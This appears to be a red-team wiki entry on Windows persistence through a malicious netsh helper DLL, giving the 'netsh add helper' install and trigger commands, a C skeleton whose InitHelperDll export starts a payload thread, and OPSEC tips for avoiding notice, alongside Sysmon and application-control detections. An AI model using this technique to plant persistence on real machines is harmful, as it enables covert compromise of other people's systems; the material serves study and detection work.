NetSh Helper DLL Persistence
TL;DR: Register an attacker-controlled DLL as a
netshhelper vianetsh add helper <evil.dll>— every subsequentnetsh.exeinvocation (admin scripts, GPOs, login profiles) loads the DLL and calls itsInitHelperDllexport.
What it is
netsh.exe is the legacy Windows network-shell utility. It supports modular subcommands implemented as helper DLLs registered under HKLM\SOFTWARE\Microsoft\Netsh. On startup netsh.exe enumerates that key and LoadLibrarys every value’s path, calling each module’s InitHelperDll export. Persisting a malicious helper there gives you code execution every time netsh runs — often elevated, because netsh is commonly launched from scripts, scheduled tasks, or interactively by admins. MITRE tracks this as T1546.007.
Preconditions / where it applies
- Local administrator (write access to
HKLM\SOFTWARE\Microsoft\Netsh) - A DLL that exports
InitHelperDllwith the correct prototype sonetshdoesn’t immediately bail - Some
netshinvocation has to fire — common triggers: firewall management, WLAN profiles, branch-cache scripts
Technique
Drop the DLL on disk in a path the helper key will reach, then use the built-in netsh command (which writes the registry value for you and validates the export). Trigger by running netsh once, or wait for a scheduled admin task.
:: install
netsh add helper C:\ProgramData\Microsoft\evilhelper.dll
:: verify
reg query HKLM\SOFTWARE\Microsoft\Netsh
:: trigger
netsh
DLL skeleton (must export InitHelperDll):
1
2
3
4
__declspec(dllexport) DWORD WINAPI InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) {
CreateThread(NULL, 0, payload, NULL, 0, NULL);
return NO_ERROR;
}
OPSEC: command-line logging shows netsh add helper, and the parent of the spawned implant is netsh.exe (itself usually a child of svchost.exe for scheduled paths). Drop somewhere benign-looking; avoid %TEMP%.
Detection and defence
- Sysmon EID 13 (
RegistryEvent) onHKLM\SOFTWARE\Microsoft\Netsh— almost never legitimately written outside install/uninstall - Sysmon EID 7 (
ImageLoad) wherenetsh.exeloads an unsigned or non-%SystemRoot%DLL - 4688 process create with
netsh.exe add helperin the command line - Application control (WDAC / AppLocker DLL rules) blocking unsigned DLLs from loading into
netsh.exe
References
- ired.team — NetSh Helper DLL — original walkthrough
- MITRE ATT&CK T1546.007 — technique mapping
- outflank — NetshHelperBeacon — reference helper DLL
Related: tokens-and-privileges